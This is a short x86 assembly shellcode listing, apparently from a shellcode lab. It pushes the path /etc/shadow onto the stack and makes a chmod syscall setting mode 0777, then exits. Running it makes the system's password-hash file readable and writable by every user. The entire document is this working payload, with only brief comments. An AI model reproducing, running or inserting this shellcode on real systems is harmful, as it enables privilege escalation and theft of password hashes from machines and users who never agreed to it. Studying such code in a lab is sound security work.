; shellcode-lab@hack4 ; by dash BITS 32 global _start _start: xor eax, eax xor ebx, ebx xor ecx, ecx ;chmod mov cx, 0x1ff ;0777 push ebx ;null terminator push 0x776f6461 ;/etc/shadow push 0x68732f63 push 0x74652f2f mov ebx, esp ;put the address of esp to ebx (shadow) mov al, 15 int 0x80 ;exit xor eax, eax xor ebx, ebx mov al, 1 int 0x80